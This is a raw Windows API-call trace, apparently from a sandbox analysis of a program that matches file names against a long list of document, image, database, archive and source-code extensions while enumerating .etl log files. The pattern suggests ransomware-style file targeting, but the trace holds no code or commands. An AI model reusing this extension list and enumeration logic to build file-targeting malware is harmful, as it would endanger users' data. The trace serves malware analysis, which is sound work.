[0185.315] lstrcmpiW (lpString1=".bak", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".bay") returned 4 [0185.315] lstrcmpiW (lpString1=".bay", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".bd") returned 3 [0185.315] lstrcmpiW (lpString1=".bd", lpString2="etl") returned -1 [0185.315] lstrlenW (lpString=".bin") returned 4 [0185.315] lstrcmpiW (lpString1=".bin", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".bmp") returned 4 [0185.315] lstrcmpiW (lpString1=".bmp", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".bz2") returned 4 [0185.315] lstrcmpiW (lpString1=".bz2", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".c") returned 2 [0185.315] lstrcmpiW (lpString1=".c", lpString2="tl") returned -1 [0185.315] lstrlenW (lpString=".cdr") returned 4 [0185.315] lstrcmpiW (lpString1=".cdr", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".cer") returned 4 [0185.315] lstrcmpiW (lpString1=".cer", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".cf") returned 3 [0185.316] lstrcmpiW (lpString1=".cf", lpString2="etl") returned -1 [0185.316] lstrlenW (lpString=".cfc") returned 4 [0185.316] lstrcmpiW (lpString1=".cfc", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".cfm") returned 4 [0185.316] lstrcmpiW (lpString1=".cfm", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".cfml") returned 5 [0185.316] lstrcmpiW (lpString1=".cfml", lpString2="1.etl") returned -1 [0185.316] lstrlenW (lpString=".cfu") returned 4 [0185.316] lstrcmpiW (lpString1=".cfu", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".chm") returned 4 [0185.316] lstrcmpiW (lpString1=".chm", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".cin") returned 4 [0185.316] lstrcmpiW (lpString1=".cin", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".class") returned 6 [0185.316] lstrcmpiW (lpString1=".class", lpString2="01.etl") returned -1 [0185.316] lstrlenW (lpString=".clx") returned 4 [0185.316] lstrcmpiW (lpString1=".clx", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".config") returned 7 [0185.316] lstrcmpiW (lpString1=".config", lpString2="001.etl") returned -1 [0185.316] lstrlenW (lpString=".cpp") returned 4 [0185.316] lstrcmpiW (lpString1=".cpp", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".cr2") returned 4 [0185.316] lstrcmpiW (lpString1=".cr2", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".crt") returned 4 [0185.316] lstrcmpiW (lpString1=".crt", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".crw") returned 4 [0185.316] lstrcmpiW (lpString1=".crw", lpString2=".etl") returned -1 [0185.316] lstrlenW (lpString=".cs") returned 3 [0185.316] lstrcmpiW (lpString1=".cs", lpString2="etl") returned -1 [0185.317] lstrlenW (lpString=".css") returned 4 [0185.317] lstrcmpiW (lpString1=".css", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".csv") returned 4 [0185.317] lstrcmpiW (lpString1=".csv", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".cub") returned 4 [0185.317] lstrcmpiW (lpString1=".cub", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".dae") returned 4 [0185.317] lstrcmpiW (lpString1=".dae", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".dat") returned 4 [0185.317] lstrcmpiW (lpString1=".dat", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".db") returned 3 [0185.317] lstrcmpiW (lpString1=".db", lpString2="etl") returned -1 [0185.317] lstrlenW (lpString=".dbf") returned 4 [0185.317] lstrcmpiW (lpString1=".dbf", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".dbx") returned 4 [0185.317] lstrcmpiW (lpString1=".dbx", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".dc3") returned 4 [0185.317] lstrcmpiW (lpString1=".dc3", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".dcm") returned 4 [0185.317] lstrcmpiW (lpString1=".dcm", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".dcr") returned 4 [0185.317] lstrcmpiW (lpString1=".dcr", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".der") returned 4 [0185.317] lstrcmpiW (lpString1=".der", lpString2=".etl") returned -1 [0185.317] lstrlenW (lpString=".dib") returned 4 [0185.317] lstrcmpiW (lpString1=".dib", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".dic") returned 4 [0185.318] lstrcmpiW (lpString1=".dic", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".dif") returned 4 [0185.318] lstrcmpiW (lpString1=".dif", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".divx") returned 5 [0185.318] lstrcmpiW (lpString1=".divx", lpString2="1.etl") returned -1 [0185.318] lstrlenW (lpString=".djvu") returned 5 [0185.318] lstrcmpiW (lpString1=".djvu", lpString2="1.etl") returned -1 [0185.318] lstrlenW (lpString=".dng") returned 4 [0185.318] lstrcmpiW (lpString1=".dng", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".doc") returned 4 [0185.318] lstrcmpiW (lpString1=".doc", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".docm") returned 5 [0185.318] lstrcmpiW (lpString1=".docm", lpString2="1.etl") returned -1 [0185.318] lstrlenW (lpString=".docx") returned 5 [0185.318] lstrcmpiW (lpString1=".docx", lpString2="1.etl") returned -1 [0185.318] lstrlenW (lpString=".dot") returned 4 [0185.318] lstrcmpiW (lpString1=".dot", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".dotm") returned 5 [0185.318] lstrcmpiW (lpString1=".dotm", lpString2="1.etl") returned -1 [0185.318] lstrlenW (lpString=".dotx") returned 5 [0185.318] lstrcmpiW (lpString1=".dotx", lpString2="1.etl") returned -1 [0185.318] lstrlenW (lpString=".dpx") returned 4 [0185.318] lstrcmpiW (lpString1=".dpx", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".dqy") returned 4 [0185.318] lstrcmpiW (lpString1=".dqy", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".dsn") returned 4 [0185.318] lstrcmpiW (lpString1=".dsn", lpString2=".etl") returned -1 [0185.318] lstrlenW (lpString=".dt") returned 3 [0185.319] lstrcmpiW (lpString1=".dt", lpString2="etl") returned -1 [0185.319] lstrlenW (lpString=".dtd") returned 4 [0185.319] lstrcmpiW (lpString1=".dtd", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".dwg") returned 4 [0185.319] lstrcmpiW (lpString1=".dwg", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".dwt") returned 4 [0185.319] lstrcmpiW (lpString1=".dwt", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".dx") returned 3 [0185.319] lstrcmpiW (lpString1=".dx", lpString2="etl") returned -1 [0185.319] lstrlenW (lpString=".dxf") returned 4 [0185.319] lstrcmpiW (lpString1=".dxf", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".edml") returned 5 [0185.319] lstrcmpiW (lpString1=".edml", lpString2="1.etl") returned -1 [0185.319] lstrlenW (lpString=".efd") returned 4 [0185.319] lstrcmpiW (lpString1=".efd", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".elf") returned 4 [0185.319] lstrcmpiW (lpString1=".elf", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".emf") returned 4 [0185.319] lstrcmpiW (lpString1=".emf", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".emz") returned 4 [0185.319] lstrcmpiW (lpString1=".emz", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".epf") returned 4 [0185.319] lstrcmpiW (lpString1=".epf", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".eps") returned 4 [0185.319] lstrcmpiW (lpString1=".eps", lpString2=".etl") returned -1 [0185.319] lstrlenW (lpString=".epsf") returned 5 [0185.319] lstrcmpiW (lpString1=".epsf", lpString2="1.etl") returned -1 [0185.319] lstrlenW (lpString=".epsp") returned 5 [0185.319] lstrcmpiW (lpString1=".epsp", lpString2="1.etl") returned -1 [0185.319] lstrlenW (lpString=".erf") returned 4 [0185.320] lstrcmpiW (lpString1=".erf", lpString2=".etl") returned -1 [0185.320] lstrlenW (lpString=".exr") returned 4 [0185.320] lstrcmpiW (lpString1=".exr", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".f4v") returned 4 [0185.320] lstrcmpiW (lpString1=".f4v", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".fido") returned 5 [0185.320] lstrcmpiW (lpString1=".fido", lpString2="1.etl") returned -1 [0185.320] lstrlenW (lpString=".flm") returned 4 [0185.320] lstrcmpiW (lpString1=".flm", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".flv") returned 4 [0185.320] lstrcmpiW (lpString1=".flv", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".frm") returned 4 [0185.320] lstrcmpiW (lpString1=".frm", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".fxg") returned 4 [0185.320] lstrcmpiW (lpString1=".fxg", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".geo") returned 4 [0185.320] lstrcmpiW (lpString1=".geo", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".gif") returned 4 [0185.320] lstrcmpiW (lpString1=".gif", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".grs") returned 4 [0185.320] lstrcmpiW (lpString1=".grs", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".gz") returned 3 [0185.320] lstrcmpiW (lpString1=".gz", lpString2="etl") returned -1 [0185.320] lstrlenW (lpString=".h") returned 2 [0185.320] lstrcmpiW (lpString1=".h", lpString2="tl") returned -1 [0185.320] lstrlenW (lpString=".hdr") returned 4 [0185.320] lstrcmpiW (lpString1=".hdr", lpString2=".etl") returned 1 [0185.320] lstrlenW (lpString=".hpp") returned 4 [0185.320] lstrcmpiW (lpString1=".hpp", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".hta") returned 4 [0185.321] lstrcmpiW (lpString1=".hta", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".htc") returned 4 [0185.321] lstrcmpiW (lpString1=".htc", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".htm") returned 4 [0185.321] lstrcmpiW (lpString1=".htm", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".html") returned 5 [0185.321] lstrcmpiW (lpString1=".html", lpString2="1.etl") returned -1 [0185.321] lstrlenW (lpString=".icb") returned 4 [0185.321] lstrcmpiW (lpString1=".icb", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".ics") returned 4 [0185.321] lstrcmpiW (lpString1=".ics", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".iff") returned 4 [0185.321] lstrcmpiW (lpString1=".iff", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".inc") returned 4 [0185.321] lstrcmpiW (lpString1=".inc", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".indd") returned 5 [0185.321] lstrcmpiW (lpString1=".indd", lpString2="1.etl") returned -1 [0185.321] lstrlenW (lpString=".ini") returned 4 [0185.321] lstrcmpiW (lpString1=".ini", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".iqy") returned 4 [0185.321] lstrcmpiW (lpString1=".iqy", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".j2c") returned 4 [0185.321] lstrcmpiW (lpString1=".j2c", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".j2k") returned 4 [0185.321] lstrcmpiW (lpString1=".j2k", lpString2=".etl") returned 1 [0185.321] lstrlenW (lpString=".java") returned 5 [0185.321] lstrcmpiW (lpString1=".java", lpString2="1.etl") returned -1 [0185.321] lstrlenW (lpString=".jp2") returned 4 [0185.322] lstrcmpiW (lpString1=".jp2", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".jpc") returned 4 [0185.322] lstrcmpiW (lpString1=".jpc", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".jpe") returned 4 [0185.322] lstrcmpiW (lpString1=".jpe", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".jpeg") returned 5 [0185.322] lstrcmpiW (lpString1=".jpeg", lpString2="1.etl") returned -1 [0185.322] lstrlenW (lpString=".jpf") returned 4 [0185.322] lstrcmpiW (lpString1=".jpf", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".jpg") returned 4 [0185.322] lstrcmpiW (lpString1=".jpg", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".jpx") returned 4 [0185.322] lstrcmpiW (lpString1=".jpx", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".js") returned 3 [0185.322] lstrcmpiW (lpString1=".js", lpString2="etl") returned -1 [0185.322] lstrlenW (lpString=".jsf") returned 4 [0185.322] lstrcmpiW (lpString1=".jsf", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".json") returned 5 [0185.322] lstrcmpiW (lpString1=".json", lpString2="1.etl") returned -1 [0185.322] lstrlenW (lpString=".jsp") returned 4 [0185.322] lstrcmpiW (lpString1=".jsp", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".kdc") returned 4 [0185.322] lstrcmpiW (lpString1=".kdc", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".kmz") returned 4 [0185.322] lstrcmpiW (lpString1=".kmz", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".kwm") returned 4 [0185.322] lstrcmpiW (lpString1=".kwm", lpString2=".etl") returned 1 [0185.322] lstrlenW (lpString=".lasso") returned 6 [0185.322] lstrcmpiW (lpString1=".lasso", lpString2="01.etl") returned -1 [0185.322] lstrlenW (lpString=".lbi") returned 4 [0185.323] lstrcmpiW (lpString1=".lbi", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".lgf") returned 4 [0185.323] lstrcmpiW (lpString1=".lgf", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".lgp") returned 4 [0185.323] lstrcmpiW (lpString1=".lgp", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".log") returned 4 [0185.323] lstrcmpiW (lpString1=".log", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".m1v") returned 4 [0185.323] lstrcmpiW (lpString1=".m1v", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".m4a") returned 4 [0185.323] lstrcmpiW (lpString1=".m4a", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".m4v") returned 4 [0185.323] lstrcmpiW (lpString1=".m4v", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".max") returned 4 [0185.323] lstrcmpiW (lpString1=".max", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".md") returned 3 [0185.323] lstrcmpiW (lpString1=".md", lpString2="etl") returned -1 [0185.323] lstrlenW (lpString=".mda") returned 4 [0185.323] lstrcmpiW (lpString1=".mda", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".mdb") returned 4 [0185.323] lstrcmpiW (lpString1=".mdb", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".mde") returned 4 [0185.323] lstrcmpiW (lpString1=".mde", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".mdf") returned 4 [0185.323] lstrcmpiW (lpString1=".mdf", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".mdw") returned 4 [0185.323] lstrcmpiW (lpString1=".mdw", lpString2=".etl") returned 1 [0185.323] lstrlenW (lpString=".mef") returned 4 [0185.323] lstrcmpiW (lpString1=".mef", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mft") returned 4 [0185.324] lstrcmpiW (lpString1=".mft", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mfw") returned 4 [0185.324] lstrcmpiW (lpString1=".mfw", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mht") returned 4 [0185.324] lstrcmpiW (lpString1=".mht", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mhtml") returned 6 [0185.324] lstrcmpiW (lpString1=".mhtml", lpString2="01.etl") returned -1 [0185.324] lstrlenW (lpString=".mka") returned 4 [0185.324] lstrcmpiW (lpString1=".mka", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mkidx") returned 6 [0185.324] lstrcmpiW (lpString1=".mkidx", lpString2="01.etl") returned -1 [0185.324] lstrlenW (lpString=".mkv") returned 4 [0185.324] lstrcmpiW (lpString1=".mkv", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mos") returned 4 [0185.324] lstrcmpiW (lpString1=".mos", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mov") returned 4 [0185.324] lstrcmpiW (lpString1=".mov", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mp3") returned 4 [0185.324] lstrcmpiW (lpString1=".mp3", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mp4") returned 4 [0185.324] lstrcmpiW (lpString1=".mp4", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mpeg") returned 5 [0185.324] lstrcmpiW (lpString1=".mpeg", lpString2="1.etl") returned -1 [0185.324] lstrlenW (lpString=".mpg") returned 4 [0185.324] lstrcmpiW (lpString1=".mpg", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mpv") returned 4 [0185.324] lstrcmpiW (lpString1=".mpv", lpString2=".etl") returned 1 [0185.324] lstrlenW (lpString=".mrw") returned 4 [0185.325] lstrcmpiW (lpString1=".mrw", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".msg") returned 4 [0185.325] lstrcmpiW (lpString1=".msg", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".mxl") returned 4 [0185.325] lstrcmpiW (lpString1=".mxl", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".myd") returned 4 [0185.325] lstrcmpiW (lpString1=".myd", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".myi") returned 4 [0185.325] lstrcmpiW (lpString1=".myi", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".nef") returned 4 [0185.325] lstrcmpiW (lpString1=".nef", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".nrw") returned 4 [0185.325] lstrcmpiW (lpString1=".nrw", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".obj") returned 4 [0185.325] lstrcmpiW (lpString1=".obj", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".odb") returned 4 [0185.325] lstrcmpiW (lpString1=".odb", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".odc") returned 4 [0185.325] lstrcmpiW (lpString1=".odc", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".odm") returned 4 [0185.325] lstrcmpiW (lpString1=".odm", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".odp") returned 4 [0185.325] lstrcmpiW (lpString1=".odp", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".ods") returned 4 [0185.325] lstrcmpiW (lpString1=".ods", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".oft") returned 4 [0185.325] lstrcmpiW (lpString1=".oft", lpString2=".etl") returned 1 [0185.325] lstrlenW (lpString=".one") returned 4 [0185.325] lstrcmpiW (lpString1=".one", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".onepkg") returned 7 [0185.326] lstrcmpiW (lpString1=".onepkg", lpString2="001.etl") returned -1 [0185.326] lstrlenW (lpString=".onetoc2") returned 8 [0185.326] lstrcmpiW (lpString1=".onetoc2", lpString2=".001.etl") returned 1 [0185.326] lstrlenW (lpString=".opt") returned 4 [0185.326] lstrcmpiW (lpString1=".opt", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".oqy") returned 4 [0185.326] lstrcmpiW (lpString1=".oqy", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".orf") returned 4 [0185.326] lstrcmpiW (lpString1=".orf", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".p12") returned 4 [0185.326] lstrcmpiW (lpString1=".p12", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".p7b") returned 4 [0185.326] lstrcmpiW (lpString1=".p7b", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".p7c") returned 4 [0185.326] lstrcmpiW (lpString1=".p7c", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".pam") returned 4 [0185.326] lstrcmpiW (lpString1=".pam", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".pbm") returned 4 [0185.326] lstrcmpiW (lpString1=".pbm", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".pct") returned 4 [0185.326] lstrcmpiW (lpString1=".pct", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".pcx") returned 4 [0185.326] lstrcmpiW (lpString1=".pcx", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".pdd") returned 4 [0185.326] lstrcmpiW (lpString1=".pdd", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".pdf") returned 4 [0185.326] lstrcmpiW (lpString1=".pdf", lpString2=".etl") returned 1 [0185.326] lstrlenW (lpString=".pdp") returned 4 [0185.327] lstrcmpiW (lpString1=".pdp", lpString2=".etl") returned 1 [0185.327] lstrlenW (lpString=".pef") returned 4 [0185.327] lstrcmpiW (lpString1=".pef", lpString2=".etl") returned 1 [0185.327] lstrlenW (lpString=".pem") returned 4 [0185.327] lstrcmpiW (lpString1=".pem", lpString2=".etl") returned 1 [0185.327] lstrlenW (lpString=".pff") returned 4 [0185.327] lstrcmpiW (lpString1=".pff", lpString2=".etl") returned 1 [0185.327] lstrlenW (lpString=".pfm") returned 4 [0185.327] lstrcmpiW (lpString1=".pfm", lpString2=".etl") returned 1 [0185.327] lstrlenW (lpString=".pfx") returned 4 [0185.327] lstrcmpiW (lpString1=".pfx", lpString2=".etl") returned 1 [0185.327] lstrlenW (lpString=".pgm") returned 4 [0185.327] lstrcmpiW (lpString1=".pgm", lpString2=".etl") returned 1 [0185.327] lstrlenW (lpString=".php") returned 4 [0185.327] lstrcmpiW (lpString1=".php", lpString2=".etl") returned 1 [0185.327] lstrlenW (lpString=".php3") returned 5 [0185.327] lstrcmpiW (lpString1=".php3", lpString2="1.etl") returned -1 [0185.327] lstrlenW (lpString=".php4") returned 5 [0185.327] lstrcmpiW (lpString1=".php4", lpString2="1.etl") returned -1 [0185.327] lstrlenW (lpString=".php5") returned 5 [0185.327] lstrcmpiW (lpString1=".php5", lpString2="1.etl") returned -1 [0185.327] lstrlenW (lpString=".phtml") returned 6 [0185.327] lstrcmpiW (lpString1=".phtml", lpString2="01.etl") returned -1 [0185.327] lstrlenW (lpString=".pict") returned 5 [0185.327] lstrcmpiW (lpString1=".pict", lpString2="1.etl") returned -1 [0185.327] lstrlenW (lpString=".pl") returned 3 [0185.327] lstrcmpiW (lpString1=".pl", lpString2="etl") returned -1 [0185.327] lstrlenW (lpString=".pls") returned 4 [0185.327] lstrcmpiW (lpString1=".pls", lpString2=".etl") returned 1 [0185.328] lstrlenW (lpString=".pm") returned 3 [0185.328] lstrcmpiW (lpString1=".pm", lpString2="etl") returned -1 [0185.328] lstrlenW (lpString=".png") returned 4 [0185.328] lstrcmpiW (lpString1=".png", lpString2=".etl") returned 1 [0185.328] lstrlenW (lpString=".pnm") returned 4 [0185.328] lstrcmpiW (lpString1=".pnm", lpString2=".etl") returned 1 [0185.328] lstrlenW (lpString=".pot") returned 4 [0185.328] lstrcmpiW (lpString1=".pot", lpString2=".etl") returned 1 [0185.328] lstrlenW (lpString=".potm") returned 5 [0185.328] lstrcmpiW (lpString1=".potm", lpString2="1.etl") returned -1 [0185.328] lstrlenW (lpString=".potx") returned 5 [0185.328] lstrcmpiW (lpString1=".potx", lpString2="1.etl") returned -1 [0185.328] lstrlenW (lpString=".ppa") returned 4 [0185.328] lstrcmpiW (lpString1=".ppa", lpString2=".etl") returned 1 [0185.328] lstrlenW (lpString=".ppam") returned 5 [0185.328] lstrcmpiW (lpString1=".ppam", lpString2="1.etl") returned -1 [0185.328] lstrlenW (lpString=".ppm") returned 4 [0185.328] lstrcmpiW (lpString1=".ppm", lpString2=".etl") returned 1 [0185.328] lstrlenW (lpString=".pps") returned 4 [0185.328] lstrcmpiW (lpString1=".pps", lpString2=".etl") returned 1 [0185.328] lstrlenW (lpString=".ppsm") returned 5 [0185.328] lstrcmpiW (lpString1=".ppsm", lpString2="1.etl") returned -1 [0185.328] lstrlenW (lpString=".ppt") returned 4 [0185.328] lstrcmpiW (lpString1=".ppt", lpString2=".etl") returned 1 [0185.328] lstrlenW (lpString=".pptm") returned 5 [0185.328] lstrcmpiW (lpString1=".pptm", lpString2="1.etl") returned -1 [0185.328] lstrlenW (lpString=".pptx") returned 5 [0185.328] lstrcmpiW (lpString1=".pptx", lpString2="1.etl") returned -1 [0185.328] lstrlenW (lpString=".prn") returned 4 [0185.329] lstrcmpiW (lpString1=".prn", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".ps") returned 3 [0185.329] lstrcmpiW (lpString1=".ps", lpString2="etl") returned -1 [0185.329] lstrlenW (lpString=".psb") returned 4 [0185.329] lstrcmpiW (lpString1=".psb", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".psd") returned 4 [0185.329] lstrcmpiW (lpString1=".psd", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".pst") returned 4 [0185.329] lstrcmpiW (lpString1=".pst", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".ptx") returned 4 [0185.329] lstrcmpiW (lpString1=".ptx", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".pub") returned 4 [0185.329] lstrcmpiW (lpString1=".pub", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".pwm") returned 4 [0185.329] lstrcmpiW (lpString1=".pwm", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".pxr") returned 4 [0185.329] lstrcmpiW (lpString1=".pxr", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".py") returned 3 [0185.329] lstrcmpiW (lpString1=".py", lpString2="etl") returned -1 [0185.329] lstrlenW (lpString=".qt") returned 3 [0185.329] lstrcmpiW (lpString1=".qt", lpString2="etl") returned -1 [0185.329] lstrlenW (lpString=".r3d") returned 4 [0185.329] lstrcmpiW (lpString1=".r3d", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".raf") returned 4 [0185.329] lstrcmpiW (lpString1=".raf", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".rar") returned 4 [0185.329] lstrcmpiW (lpString1=".rar", lpString2=".etl") returned 1 [0185.329] lstrlenW (lpString=".raw") returned 4 [0185.329] lstrcmpiW (lpString1=".raw", lpString2=".etl") returned 1 [0185.330] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xf95053af, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x9b236e, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.002.etl", cAlternateFileName="UN8F7C~1.ETL")) returned 1 [0185.330] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.003.etl", cAlternateFileName="UN3A48~1.ETL")) returned 1 [0185.330] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.004.etl", cAlternateFileName="UNE414~1.ETL")) returned 1 [0185.330] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, 